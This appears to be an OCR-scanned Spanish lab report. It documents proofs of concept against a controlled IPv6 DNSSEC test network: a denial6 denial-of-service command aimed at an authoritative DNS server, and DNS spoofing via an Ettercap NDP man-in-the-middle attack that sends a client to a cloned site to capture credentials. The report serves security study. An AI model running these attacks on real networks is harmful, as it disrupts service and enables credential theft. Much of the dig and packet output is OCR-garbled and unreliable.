20180817013401 20180718003401 14643 bancodk.com.
JP3NnOhRO73pGbulwV1lvV7sXI9PorveAalmugAHP24Bq
9kjLGsd829CzA4C4Umb21Ch1Y6TEL/Fo3h7jVKFM202C
9Jg1X00QVI8DpwHOjbXRc3CetoUtqsymSCWxAe3wBvAs
QNvebbwdJKW6RPIhrIXZqK5h/FSRZN2IFUNFXKU= )
bancodk. com. 900 IN NSEC _msdcs.bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY
bancodk.com. 900 IN RRSIG NSEC 8 2 3600 (
20180817013401 20180718003401 14643 bancodk.com.
Ge6S/D27WOmySKY8nuY rwqtkKKUi7mtW/kSjDIghZtwmy
f741zA25A4Fj rYXicU5tX0QIdHYHz f4eZTqvrj+FtUBb
tbnrmkGPdtCj/m09PMaygoXHDn6sj lwgYkjAFMFVo4rD
h02zxuGH8FyTuRLoai9PrsS58kDmrDu+CYWzNHQ= )

;3 Query time: 5 msec

3+ SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: :cafe:35)
;3 WHEN: Tue Jul 17 20:36:02 -65 2018

;3 MSG SIZE rcvd: 700

45



root@debian9:/home/dalia# dig AAAA x.bancodk.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA x.bancodk.com +dnssec +multiline
;1 global options: +cmd

;3 Got answer:

;1 ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 49291

;i flags: qr rd ra ad; QUERY: 1, ANSWER: ©, AUTHORITY: 6, ADDITIONAL: 1

7+ OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4000
;+ QUESTION SECTION:

;%.bancodk. com. IN AAAA
;i AUTHORITY SECTION:
bancodk.com. 900 IN SOA dnsl.bancodk.com. hostmaster.bancodk.com. (
26 ; serial
200 ; refresh (15 minutes)
600 ; retry (18 minutes)
86400 ; expire (1 day)
3600 ; minimum (1 hour)
)
bancodk. com. 960 IN RRSIG SOA 8 2 3600 (

20180817013401 20180718003401 14643 bancodk.com.
Oovd+zvZMxRrlgzoULN4mGIwj fakMnvGVBF+C4PN1S@6H
zrRV6mBh4vgLk1HFXK/4C060k/cG3XQcV6768Y6Nn5SDN
wbcqGA718g54Dn23ADx+xM7CUW2AS9j+1WHDSVXMTY]/
/x5c6pUB1ZuGp28qiFT1IL6MVZi3su9+Qe23cMM= )
www . bancodk. com. 900 IN NSEC bancodk.com. AAAA RRSIG NSEC
www . bancodk. com. 900 IN RRSIG NSEC 8 3 3600 (
201808170134081 20180718003401 14643 bancodk.com.
TifBAISMHAzaHkAMHOdVXqyD2T/3Ys/XSWTEVNnT/JdQA
It88+1X9v5VU2HHMVBPb/6MNjqns/s+G8/462EK2Qejb
cXbad39Qjy/WjBxRalwkWhp/imlpAjny@rhpsTszUPC/
4188T14]L1ppY@v@3cXVIBBTG)2+NpglD/15] /A= )
bancodk.com. 900 IN NSEC _msdcs.bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY
bancodk.com. 900 IN RRSIG NSEC 8 2 3600 (
20180817013401 20180718003401 14643 bancodk.com.
GebS/D27W0my SKY8nuY rwg tKKUL7mtW/ kS jDIghZ twmy
T74TzA25A4F j rYX1cU5tX0QIdHYHz f4eZTqvrj+FtUBb
tbnrmkGPdtCj/m09PMaygoXHDn6s j lwgYkjAFMFVodrD
h02zxuGH8FyTuRLoai9PrsS58kDmrDu+CYWzNHO= )

7+ Query time: 5 msec
;i SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: :cafe:35)

root@debian9:/home/dalia# dig AAAA w.bancodk.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA w.bancodk.com +dnssec +multiline
;+ global options: +cmd

;; Got answer:

;i ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 61216

;; flags: gr rd ra ad; QUERY: 1, ANSWER: @, AUTHORITY: 6, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4000
;; QUESTION SECTION:

;w.bancodk. com. IN AAAA
;; AUTHORITY SECTION:
bancodk. com. 980 IN SOA dnsl.bancodk.com. hostmaster.bancodk.com. (
26 ; serial
900 ; refresh (15 minutes)
600 ; retry (18 minutes)
86400 ; expire (1 day)
3600 ; minimum (1 hour)
)
bancodk. com. 900 IN RRSIG SOA 8 2 3660 (

20180817013401 20180718003401 14643 bancodk.com.
Oovd+zvZMxRr1qzoULN4mGIwj faMnvGVBF+C4PN1S06H
zrRV6mBh4vgLk1HFXK/4C060k/cG3XQcV6768Y6n55DN
whcqGA7 18g54Dn23ADX+xM7 CUW2AS9 ]+ 1WHDSVXMTY]/
/x5c6pUB1ZuGp28giFT1JL6MVZ135u9+Qe23cMi= )
transaccliones.bancodk.com. 900 IN NSEC www.bancodk.com. NS RRSIG NSEC
transacciones.bancodk.com. 900 IN RRSIG NSEC 8 3 3600 (
20180817013481 20180718003401 14643 bancodk.com.
1sP5VbXJe02TVKBUeDt0kQ+0ogeiFzbIPH1NB62wBGBL
05550cqyE+msmol0sqswGsbpzjROcTSs9qlg7 fKUUCSK
LoXJQZHM3a008HLFI97bB5Z0z5qoqnTZrxbk1P1b4Q94
9f1YxGHj0Dj4SHSc9q9KzBc2mphplruEO5cR1TA= )
bancodk. com. 900 IN NSEC msdcs.bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY
bancodk. com. 900 IN RRSIG NSEC 8 2 3600 (
20180817013481 20180718003401 14643 bancodk.com.
GebS/D27WOmySKY8nuY rwgtKKUi7mtW/kSjDIghZ twmy
T74fzA25A4F] rYXicU5tX0QIdHYHzfdeZTqvrj+FtUBb
thbnrmkGPdtCj/m09PMaygoXHDn6sj lwgYkjAFMFVo4rD
h02zxuGH8FyTuRLoai9PrsS58kDmrDu+CYWzNHQ= )

i+ Query time: 5 msec

;3 SERVER: 2001:12:7000::cafe:35#53(2001:12:70080: :cafe:35)
;5 WHEN: Tue Jul 17 20:36:22 -05 2018

;i MSG SIZE rcvd: 699
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2.3.

DENEGACION DE SERVICIO

PoC de Denegacion de Servico al servidor autoritario del dominio
comunicate.com, cuando el atacante y la victima estan en lared CAFE.

1. Descripcion de la prueba

Se realiza un ataque de denegacion de servicio al servidor autoritario del

dominio comunicate.com, que se encuntra en la red BACA, desde la red CAFE

donde se encuntra el atacante como el cliente. Se observara el efecto del

ataque de denegacion de servicio cuando el cliente consulte por el dominio

Www.comunicate.com.

2.

Herramienta: Para la realizacidon de la prueba se utilizé Denial6

3. Ambiente de la prueba:

La prueba se desarroll6 en un escenario real de pruebas controlado que

cumple con las siguientes caracteristicas:

Toda la cadena de confianza DNSSEC esta firmada tanto en la red
interna CAFE (Servidor cache y servidores autoritarios de bancodk),
como en la red externa (servidor raiz, com y comunicate.com).

El proceso de validacion de las respuestas DNS es efectuado
unicamente por el Servidor Cache recursivo de la organizaciéon, que
posee tanto la clave publica del servidor raiz f.root-servers.net como la
del dominio bancodk.com.

Como maquina atacante se utilizo la distribucién Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

El escenario real de pruebas se implementd6 con la distribucién Centos 7
y Windows Server 2012
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4. Caracteristicas de los equipos involucrados en la prueba:

S.0 EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC INTERFACES

DEBIAN | Servidor autoritario domino TARGET 2800:3f0:4005:403:BACA2 | 08:00:27:82:3F:99 enp0s3
comuicate.com

Cliente Realiza la consulta al dominio 2001:12:7000::cafe 28 08:00:27:6A:D6:57 enp0s3
www.comunicate.com

KALI
GNUJ/LINUX KALI Atacante 2001:12:7000::cafe:37 08:00:27:48:09:19 EthO
2018

Tabla N°. Caracteristicas de los equipos.

5. Evidencias de PoC

Se realiza un ataque DoS al servidor autoritario del dominio www.comunicate.com
por medio de denial6. Primero se muestra como el servidor responde a una
consulta normal y después como el ataque afecta las respuestas a las consultas
del cliente al realizar consultas a www.comunicate.com +dnssec Yy
dnsl.comunicate.com +dnssec

ANTES DEL ATAQUE DE DENEGACION

Vista desde el cliente
Consulta dominio www.comunicate.com +dnssec

root@cliente-vVirtualBox:~# dig AAAA www.comunicate.com +dnssec

; <<>> DiG 9.10.3-P4-Ubuntu <<>> AAAA www.comunicate.com +dnssec

;5 global options: +cmd

;5 Got answer:

;5 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3856

;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: ©, ADDITIONAL: 1

55 OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 4000

53 QUESTION SECTION:

;www.comunicate.com. IN AAAA

53 ANSWER SECTION:

www.comunicate.com. 86399 IN AAAA 2001:503:3f::beca:3
www.comunicate.com. 86399 IN RRSIG AAAA 7 3 864000 20180901160221 2
0180802160221 22523 comunicate.com. ohUel16qR7pCeyWSEDW/0OTy1VoZI40QP0j9xChocj5LQp
X10G7S1vFQdN M/QwE2anR/dT9mPj82zBVGPhBpvVG1dmhn6Rjx9LOK51B2T9t1K8qPus WIMEhWIBEW
YnU/nNjQAxsJI7bRkq/4RjSpPUXR1VsasHXgmpw17WNysSIOW i5M=

53 Query time: 1256 msec

33 SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: :cafe:35)
;3 WHEN: Tue Aug 07 20:15:33 -05 2018

; MSG SIZE rcvd: 249

Consulta dominio dns.comunicate.com +dnssec
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root@cliente-VirtualBox:~# dig AAAA dnsil.comunicate.com +dnssec

; <<>> DiG 9.10.3-P4-Ubuntu <<>> AAAA dnsl.comunicate.com +dnssec
global options: +cmd
Got answer:
->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15182
flags: gqr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: ©, ADDITIONAL: 1

OPT PSEUDOSECTION:

EDNS: version: @, flags: do; udp: 4000
QUESTION SECTION:

nsl.comunicate.com. \ AAAA

ANSWER SECTION:
dns1.comunicate.com. 86399 IN AARA 2800:3f0:4005:403: :baca:32
dns1.comunicate.com. 86399 IN RRSIG AAAA 7 3 B64000 1809011660221 2
0180802160221 22523 comunicate.com. tZoWrtcxDvjBHITtrm3JGNSQABHpKruucAE+WBoGngHL
pB1lwUBFZz1D97 5qtfhaiATedDvlu6n631jcRvojt9I8pPNFMSOjrlicNhs08kKYjxVtL/ WW1+208tpD
QzzGbPB/tLSMpSHzmQhCkulF14pJylu29ksSq91tALTSL ppw=

:; Query time: 986 msec

; SERVER: 2001:12:7000::cafe:35#53(2001:12:7000::cafe:35)
; WHEN: Tue Aug 07 20:18:03 -85 2018

; MSG SIZE rcvd: 250

Ejecucion del atague desde el atacante (kali)

DESPUES DEL ATAQUE DE DENEGACION

Vista desde el cliente
Consulta dominio dns.comunicate.com +dnssec

root@cliente-VirtualBox:~# dig AAAA dnsi.comunicate.com +dnssec root@cliente-VirtualBox:~# dig AAAA dnsl.comunicate.com +dnssec

D1G 9.10.3-P4-Ubuntu <<>> AAAA dnsl.comunicate.com +dnssec > DiG 9.10.3-P4-Ubuntu <<>> AAAA dnsi.comunicate.com +dnssec
global options: +cmd global options: +cmd
: Got answer:
- opcode: QUERY, status: SERVFAIL, id: 20769 ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 42460
flags: qr rd ra; QUERY: 1, ANSWER: ©, AUTHORITY: @, ADDITIONAL: 1 |;; flags: gr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: ©, ADDITIONAL: 1

;5 OPT PSEUDOSECTION: OPT PSEUDOSECTIO

; EDNS: version: 0, flags: do; udp: 4800 EDNS: version: 8, flags: do; udp: 46888
QUESTION SECTION: QUESTION SECTION:
;dns1.comunicate.com. IN AARA ;dns1.comunicate.com. IN ARAA

;3 Query time: 3903 msec ;3 Query time: 3982 msec
SERVER: 2001:12:7600::cafe:35#53(2001:12:7000: :cafe:35) SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: cafe:35)
WHEN: Tue Aug 07 20:23:36 -05 2018 WHEN: Tue Aug 07 20:24:53 -05 2018

; MSG SIZE rcvd: 48 33 MSG SIZE rcvd: 48

Consulta dominio www.comunicate.com +dnssec
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ACroot@cliente-VirtualBox:~# dig AAAA www.comunicate.com +dnssec

>> DiG 9.10.3-P4-Ubuntu <<>> AAAA www.comunicate.com +dnssec
lobal options: +cmd
Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 39189
; flags: gqr rd ra; QUERY: 1, ANSWER: O, AUTHORITY: ©, ADDITIONAL:

3; OPT PSEUDOSECTION:

: EDNS: version: 0, flags: do; udp: 4800
35 QUESTION SECTION:
;WHW.comunicate.com. IN AAAA

55 Query time: 4477 msec

; SERVER: 2001:12:7000::cafe:35#53(2001:12:7000::cafe:35)
;: WHEN: Tue Aug 07 20:25:13 -65 2018
33 MSG SIZE rcvd: 47

PoC de Denegacion de Servico al servidor autoritario del dominio
bancodk.com, cuando el atacante y la victima estan en la red CAFE.

1. Descripcion de la prueba

Se realiza un ataque de denegacion de servicio al servidor autoritario del
dominio bancodk.com, que se encuntra en la red CAFE donde se encuntra el
atacante como el cliente. Se observara el efecto del ataque de denegacion de
servicio cuando el cliente consulte por el dominio www.bancodk.com.

2. Herramienta: Para la realizacion de la prueba se utilizé Denial6
3. Ambiente de la prueba:

La prueba se desarroll6 en un escenario real de pruebas controlado que

cumple con las siguientes caracteristicas:

e Toda la cadena de confianza DNSSEC esta firmada tanto en la red
interna CAFE (Servidor cache y servidores autoritarios de bancodk),
como en la red externa (servidor raiz, com y comunicate.com).

e El proceso de validacion de las respuestas DNS es efectuado
unicamente por el Servidor Cache recursivo de la organizacion, que
posee tanto la clave publica del servidor raiz f.root-servers.net como la
del dominio bancodk.com.

e Como magquina atacante se utilizé la distribucion Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

e El escenario real de pruebas se implementd con la distribucién Centos 7
y Windows Server 2012
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4. Caracteristicas de los equipos involucrados en la prueba:

S.0 EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC INTERFACES

DEBlaN | Servidor autoritario domino TARGET 2001:12:7000::CAFE:32 08:00:27:51:F0:6C enp0s3
bancodk.com

Cliente Realizala consulta al dominio 2001:12:7000::cafe:7 08:00:27:6D:D1:A0 enp0s3
www.bancodk.com

KALI
GNUJ/LINUX KALI Atacante 2001:12:7000::cafe:37 08:00:27:48:09:19 Etho
2018

Tabla N°. Caracteristicas de los equipos.

5. Evidencias de PoC

Se ataca al servidor autoritario de bancodk.com, el cual se encuentra en la misma
red que el atacante y el usuario que realiza la consulta. (2001:12:7000::cafe/112).
El ataque de denegacion de servicio se puede apreciar desde diferentes puntos de
vista.

Vista del atacante

Atreves de la consola de kali se ejecuta denial6, para el ataque de denegacion de

servicio especificando la interfaz que usara el usuario (eth0) y la direccion IPv6 de
la victima (2001:12:7000::cafe:32)

:~# denial6 he 2001:12:7000::cafe:32 4
Performing denial of rvice test case no. 4 attack on 2001:12:7000::cafe:32 via

" is shown for / 1000 pac . ress Control-C to end..
Test 4: hop-by-hop h with router ale opti plus 179 headers plus ping.
WARNING: this attack ects all rout on the network path to the target!!

La ejecucion del ataque genera una cantidad de trafico que para el rendimiento del
ataque se observar mejor en el wireshark del servidor cache, que se encuentra
dentro de la misma red que el servidor DNS autoritario atacado y el atacante.
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Vista desde el cache

Se puede observar que el atacante 2001:12:7000::cafe:37 despues de empezar el
ataque con denial6 envia una serie de mensajes ICMP hacia el servidor autoritario
del dominio bancodk.com 2001:12:7000::cafe:32

Fitter: [¥] Expression... Clear Apply Save
No.  Time Source Destination Protocel Length  Info

1 0.000000000 2001:12:7000::cafe:37 2001:12:7000: :cafe:32 ICMPv6 1510 Echo (ping) request id=0xface, seq=47806, hop 1imit=255 (no response found!)
2 0.000248000 2001:12:7000::cafe:37 2001:12:7000: :cafe:32 ICMPV6 1510 Echo (ping) request id=0xface, seq=47806, hop 1imit=255 (no response found!)
3 0.000249000 2001:12:7000::cafe:37 2001:12:7000::cafe:32 ICMPVE 1510 echo (ping) request id=Oxface, seq=47806, hop 1imit=255 (no response found!)
4 0.002307000 2001:12:7000::cafe:37 2001:12:7000::cafe:32 ICMPVE 1510 Echo (ping) request id=Oxface, seq=47806, hop 1imit=255 (no response found!)
5 0.002308000 2001:12:7000::cafe:37 2001:12:7000: :cafe:32 ICMPV6 1510 Echo (ping) request id=0xface, seq=47806, hop 1imit=255 (no response found!)
6 0.002309000 2001:12:7000::cafe:37 2001:12:7000::cafe:32 ICMPVE 1510 echo (ping) request id=0xface, seq=47806, hop 1imit=255 (no response found!)
7 0.002310000 2001:12:7000::cafe:37 2001:12:7000::cafe:32 ICMPVE 1510 echo (ping) request id=Oxface, seq=47806, hop 1imit=255 (no response found!')
8 0.002310000 2001:12:7000::cafe:37 2001:12:7000::cafe:32 ICMPVE 1510 Echo (ping) request id=Oxface, seq=47806, hop 1imit=255 (no response found!)
9 0.002211000 2001:12:7000: :cafe:37 2001:12:7000: : cafe:32 ICMPVE 1510 Echo (ping) request id=0xface, seq=47806, hop 1imit=255 (no response found!)
10 0.002312000 2001:12:7000::cafe:37 2001:12:7000::cafe:32 ICMPVE 1510 echo (ping) request id=Oxface, seq=47806, hop 1imit=255 (no response found!)
11 0.002313000 2001:12:7000::cafe:37 2001:12:7000::cafe:32 ICMPVE 1510 echo (ping) request id=Oxface, seq=47806, hop 1imit=255 (no response found!)
12 0.002314000 2001:12:7000::cafe:37 2001:12:7000: :cafe: 32 ICMPv6 1510 Echo (ping) request id=0xface, seq=47806, hop 1imit=255 (reply in 13)

13 0.002315000 2001:12:7000::cafe:32 2001:12:7000: : cafe:37 ICMPV6 70 echo (ping) reply id=0xface, seq=47806, hop 1imit=128 (request in 12)

14 0.002315000 2001:12:7000::cafe:32 2001:12:7000: :cafe:37 ICMPVE 70 echo (ping) reply id=0Oxface, seq=47806, hop 1limit=128

15 0.002315000 2001:12:7000::cafe:32 2001:12:7000: :cafe:37 ICMPVG 70 Echo (ping) reply id=0Oxface, seq=47806, hop 1imit=128

16 0.002316000 2001:12:7000::cafe:32 2001:12:7000::cafe:37 ICMPVG 70 echo (ping) reply id=0xface, seq=47806, hop Tlimit=128

17 0.002316000 2001:12:7000::cafe:32 2001:12:7000: : cafe:37 ICMPVE 70 echo (ping) reply id=0Oxface, seq=-47806, hop limit=128

18 0.002316000 2001:12:7000::cafe:32 2001:12:7000: :cafe:37 ICMPVE 70 echo (ping) reply id=0Oxface, seq=47806, hop 1limit=128

19 0.002316000 2001:12:7000::cafe:32 2001:12:7000: :cafe:37 ICMPVE 70 Echo (ping) reply id=0xface, seq=47806, hop 1limit=128

20 0.002317000 2001:12:7000::cafe:32 2001:12:7000: : cafe:37 ICMPVE 70 Echo (ping) reply id=0xface, seq=47806, hop limit=128

Por uiltimo se ve el efecto del ataque desde el punto de vista del cliente, el cual
realiza una consulta dig sobre el dominio www.bancodk.com

Vista desde el cliente
Despues del ataque al DNS autoritario de bancodk.com (DNSSEC), el usuario

realiza una consulta dig al dominio www.bancodk.com dando como causa del
ataque que al cliente la consulta le resulta en status:SERFAIL.

root@cliente-vVirtualBox:~# dig AAAA www.bancodk.com +dnssec

<<>> D1G 9.10.3-P4-Ubuntu <<>> AAAA www.bancodk.com +dnssec
global options: +cmd

Got answer:

->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 16094
flags: qr rd ra; QUERY: 1, ANSWER: ©, AUTHORITY: O, ADDI

; OPT PSEUDOSECTION:

: EDNS: version: @, flags: do; udp: 40080

3 QUESTION SECTI

;wWwww.bancodk.com. IN AAAA

Query time: 3926 msec
SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: :cafe:35)
WHEMN: Tue Aug 07V 10:44:02 -05 2018
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2.4 POC DE DNS SPOOFING CUANDO LA CADENA DE CONFIANZA DNSSEC
ESTA FIRMADA Y CUANDO ESTA ROTA

2.4.1 DNS Spoofing CUANDO LA CADENA DE CONFIANZA DNSSEC ESTA
FIRMADA

PoC de DNS Spoofing entre el Servidor Cache Validador y la Gateway de la
red CAFE cuando el Cliente no validador consulta por el nombre de
dominio www.comunicate.com

Descripcion de la prueba

La prueba de concepto de DNS Spoofing se realizé en el escenario real de
pruebas controlado con toda la cadena de confianza de la red externa e
interna firmadas con DNSSEC, mediante un ataque de HOMBRE EN EL
MEDIO con NDP spoofing entre el Servidor Cache Validador y la Gateway de
la red CAFE.

En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario del

dominio www.comunicate.com por la direccion IPv6 del atacante Kali, con el

propdsito de envenenar la memoria del Servidor Cache con soporte de
validacion DNSSEC insertando un registro DNS falso en la TABLA DNS. De
esta forma, en lugar de dirigir al usuario o usuarios al sitio web legitimo, las
victimas seran direccionadas al sitio web falso clonado por el atacante, cuando

realicen una consulta al dominio www.comunicate.com.

Al efectuar la prueba se determinara si el Servidor Cache con soporte de
validacion DNSSEC, es o no es vulnerable al envenenamiento de la memoria
cache, si valida o no valida la autenticidad de la respuesta DNS sobre quien
es el Servidor Autoritario legitimo al que pertenece el dominio

www.comunicate.com, cuando el cliente realice una consulta a ese sitio, de

esta manera se evaluara si la prueba fue exitosa o no, teniendo en cuenta que
en este escenario los clientes no realizan el proceso de validacion DNSSEC,

solamente lo realiza el Servidor Cache recursivo de la organizacion.
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4. Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8.

5. Topologia de Red del Ambiente real de Prueba.

RED INTERMA RED EXTERNA

2001:12:7000::CAFE:0M12 Cadena de confianza

DM SSEC FIRMADA

ATACANTE

Servidor DNS Raiz
f.root-servers.net

b

F 3 BEBE:1

Servidor
Autoritario .com
A gtid-
servers.net.com.

BECA:2

CAFE:S

Servidor Autoritario
comumnicate. com

Servidor
Caché
Validador

ROUTER DE
FRONTERA

BACAZ

Servidor Web
WywW.Comunicate.com

A0

CAFE:25

BECA:Y

|
I
I
|
I
I
I
I
¥ I
I
I
|
I
|
|
|
I

Fig. Topologia de Red del Ambiente real de Prueba

6. Ambiente de la prueba:

La prueba se desarroll6 en un escenario real de pruebas controlado que

cumple con las siguientes caracteristicas:

e Toda la cadena de confianza DNSSEC esta firmada tanto en la red interna
CAFE (Servidor cache y servidores autoritarios de bancodk), como en la
red externa (servidor raiz, com y comunicate.com).

e El proceso de validacion de las respuestas DNS es efectuado Unicamente
por el Servidor Cache recursivo de la organizacién, que posee tanto la
clave publica del servidor raiz f.root-servers.net como la del dominio

bancodk.com.
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e Se realiz6 un ataque de hombre en el medio entre el Servidor Cache
validador y la Gateway de la red CAFE.

e Como maquina atacante se utilizé la distribucién Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

e El cliente Linux de la red interna CAFE, realiza las mismas consultas en
dos momentos de tiempo diferentes para determinar si siempre se obtiene
la misma informacion o respuesta cuando éste solicita una consulta a
www.comunicate.com.

e El escenario real de pruebas se implement6 con la distribucion Debian 9.4
con el software DNS BIND version 9.10.

7. Caracteristicas de los equipos involucrados en la prueba:

S.0 EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC | INTERFACES
DEBIAN v9.4 |Servidor cache recursivo -Validador TARGET 2001:12:7000::cafe:5 08:00:27:F1:2C:A5 enp0s3
Router frontera-Gateway red CAFE TARGET 2001:12:7000::cafe:1 f0:4d:a2:db:f2:ce EthO
DEBIAN v8.8

Cliente DNS Linux Realizala consultaal dominio| 115 7000 cate:15 | 08:00:27:6A:D6:57 Etho
www.comunicate.com

KALI
GNU/LINUX KALI Atacante 2001:12:7000::cafe:14 08002756EAB2 EthO
2018

Tabla. Caracteristicas de los equipos.

8. Resultados obtenidos de la Prueba:

ENVENENAMIENTO | SUPLANTACION POC
MITM DOMINIO ESTADO VALIDADORES CASOS DE CACHE DE DOMINIO VALIDACION EXITOSO
. 1 NO Sl NO Sl
CACHE-GATEWAY| comunicate.com F > NO S NO

Tabla . Resultados obtenidos.
9. Evidenciade las PoC

La prueba se comienza, con la seleccion de los objetivos por medio de un
MITM por NDP, el servidor cache Validador recursivo y la Gateway de la red
café.
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ettercap 0.8.2
Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List x | Targets = | Plugins x

Target 1 Target 2
2001:12:7000::cafe:5 2001:12:7000::cafe:1

root@validador:/etc/bind# ip -6 neigh show

Ted0::a00:271T:Te27:db30 dev enpbs3 1laddr 08:00:27:27:db:30 router STALE
feB80::a00:27ff: feb56:eab2 dev enp@s3 lladdr 08:00:27:56:ea:b2 REACHABLE
|2001:12:7000: :cafe:1 dev enpBs3 lladdr 08:00:27:56:ea:b2| router REACHABLE
2001:12:7000: :cafe:15 dev enpBs3 1lladdr 08:00:27:85:19:85 STALE
fe80::a00:27ff:feB85:1985 dev enpls3 lladdr 08:00:27:85:19:85 STALE
2001:12:7000: :cafe:14 dev enp@s3 1laddr 08:00:27:56:ea:b2 REACHABLE

Una vez que el cliente realiza una consulta al dominio firmado
www.comunicate.com, ya sea desde la consola o desde el navegador web, se
observa que la respuesta DNS ha sido suplantada por la direccion Ipv6 del
atacante:

root@cliente-vVirtualBox:~# dig AAAA comunicate.com +dnssec

; <<>> DiG 9.10.3-P4-Ubuntu <<>> AAAA comunicate.com +dnssec
; global options: +cmd
ot answer:
;3 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3143
;; flags: gr aa; QUERY: 1, ANSWER: 1, AUTHORITY: @, ADDITIONAL: ©

53 QUESTION SECTION:
;comunicate.com. IN AAAA

;5 ANSWER SECTION:
comunicate.com. 3600 IN AARA 2001:12:7000: :cafe: 14

;3 Query time: 2 msec
ERVER: 2001:12:7000::cafe:5#53(2001:12:7000: :cafe:5)

HEN: Fri Aug 17 18:27:27 -05 2018
33 MSG SIZE rcvd: 60

En este caso el atacante ha suplantado la identidad del dominio
www.comunicate.com redirigiendo a la victima ha un sitio web falso clonado por el

para robar sus credenciales:
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Formulario de Registro - Mozilla Firefox

Formulario de Registro P+

w.comunicate.com

Formulario de registro

CREA UNA CUENTA

cortes
luna@hotmail.com

luna weed

Esta conexion no es
m segura. Las credenciales
& introducidas aqui pueden

iYa tienes una cuer  Verse comprometidas.
Saber mas

Los resultados se aprecian mejor con la captura de wireshark:

[ ‘ht‘p X] -| Expression.. +
No. Time Source Destination Protocol Length Info
1811 109.194962539 2001:12: i 112: i 114 412 GET / HTTP/1.
1828 109.283010759 2001:12:7000::cafe:14 2001:12:7000:: : HTTP 953 HTTP/1.1 200 OK (text/html)
1894 109.657338560 2001:12:7000::cafe:7 2001:12:7000:: : HTTP 386 GET /estilos.css HTTP/1.1
! 1899 169.676939351 2001:12:7000::cafe:7 2001:12:7000:: 4 HTTP 370 GET /validar.js HTTP/1.1
i 1901 109.731285683 2001:12:7000::cafe:14 2001:12:7000: : 3 HTTP 677 HTTP/1.1 200 OK (application/javascript)
1903 109.747656304 2001:12:7000: :cafe:14 2001:12:7000: : 4 HTTP 908 HTTP/1.1 200 OK (text/css)
| 1913 110.049798048 2001:12:7000: :cafe:7 2001:12:7000: : : HTTP 394 GET /favicon.ico HTTP/1.1
: 1915 110.050096256 2001:12:7000::cafe:14 2001:12:7000:: : HTTP 595 HTTP/1.1 404 Not Found (text/html)
: 1917 110.083262375 2001:12:7000: :cafe:7 2001:12:7000:: : HTTP 334 GET /favicon.ico HTTP/1.1
: 1918 110.083499062 2001:12:7000::cafe:14 2001:12:7000:: 4 HTTP 595 HTTP/1.1 404 Not Found (text/html)
4388 314.616130825 2001:12:7000::cafe:7 2001:12: HTTP 610 POST /registrar.php HTTP/1.1 (application/x-www-form-urlg]
4407 314.7460A05788 2001:12:7000: :cafe:14 2001:12:700A: :cafe: HTTP 271 HTTP/1.0 500 Tnternal Server Frror

Desde el punto de vista del servidor caché, se aprecia que al realizar la prueba de
concepto este NO se envenena, debido a que el atacante afecto de manera
directa al cliente, sin necesidad de envenenar la memoria cache del servidor como
se muestra en la figura.

root@validador:/var/cache/bind# cat named_dump.db | grep comunicate.com
comunicate.com. 601698 NS dnsl.comunicate.com.
20180915193329 20180816193329 1510 comunicate.com.
20180915193329 20180816193329 4644 comunicate.com.
dnsl.comunicate.com. 7698 \-A 3 - SNXRRSET
; comunicate.com. SOA dnsl.comunicate.com. admin.comunicate.com. 2 604800 864000 2419200 604800
comunicate.com. RRSIG SOA ...
RKC4TKSP4R62SGITNUCBEIDK39FT3LQP. comunicate. com. RRSIG NSEC3 ...
9 8 mundi e, com

A
SET

i

20MDVGFLNFMESOPOR AAAA RRSIG

K d
.comunicate.com. 5 - $NXRR

comunicate.com. RRSIG SOA ...
IRN9INC7NP4ROPR20MDVGFLNFMB8OPOR. comunicate.com. RRSIG NSEC3 ...

IRN9INC7NPAROPR20MDVGFLNFMB8OPOR. comunicate.com. NSEC3 1 1 20 28003F024005BACA LDDO1BTOPOA2IGVTESOM7ELITIPR1IAKF AAAA RRSIG
dnsl.comunicate.com [v4 TTL 7698] [v4 nxrrset] [v6 unexpected]
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PoC de DNS Spoofing entre el Cliente Validador y la Gateway de
la red CAFE cuando el Cliente validador consulta por el nombre
de dominio www.networks.com

1. Descripcion de la prueba

La prueba de concepto de DNS Spoofing se realizé en el escenario real de
pruebas controlado con toda la cadena de confianza de la red externa e
interna firmadas con DNSSEC, mediante un ataque de HOMBRE EN EL
MEDIO con NDP spoofing entre el Cliente Validador y la Gateway de la red
CAFE.

En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario del

dominio www.networks.com por la direccion IPv6 del atacante Kali, con el

propésito de envenenar la memoria Caché del cliente con soporte de
validacion DNSSEC, insertando un registro DNS falso en la TABLA DNS. De
esta forma, en lugar de dirigir al usuario o usuarios al sitio web legitimo, las
victimas seran direccionadas al sitio web falso clonado por el atacante, cuando

